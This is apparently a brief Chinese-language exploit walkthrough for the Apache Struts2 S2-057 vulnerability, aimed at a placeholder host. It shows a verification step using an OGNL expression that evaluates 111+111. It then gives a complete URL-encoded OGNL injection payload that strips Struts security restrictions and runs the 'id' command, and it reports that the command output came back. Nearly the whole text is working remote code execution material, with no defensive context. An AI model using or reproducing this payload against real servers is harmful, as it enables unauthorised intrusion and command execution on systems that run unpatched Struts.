访问:http://www.xxx.cn:81/struts2-showcase
漏洞验证
访问 /struts2-showcase/${(111+111)}/actionChain1.action
回车
变成了/struts2-showcase/222/register2.action
111+111执行了证明存在struts2-057漏洞
命令执行poc
/index/%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action
复制到url中
回车，得到了id命令执行的返回
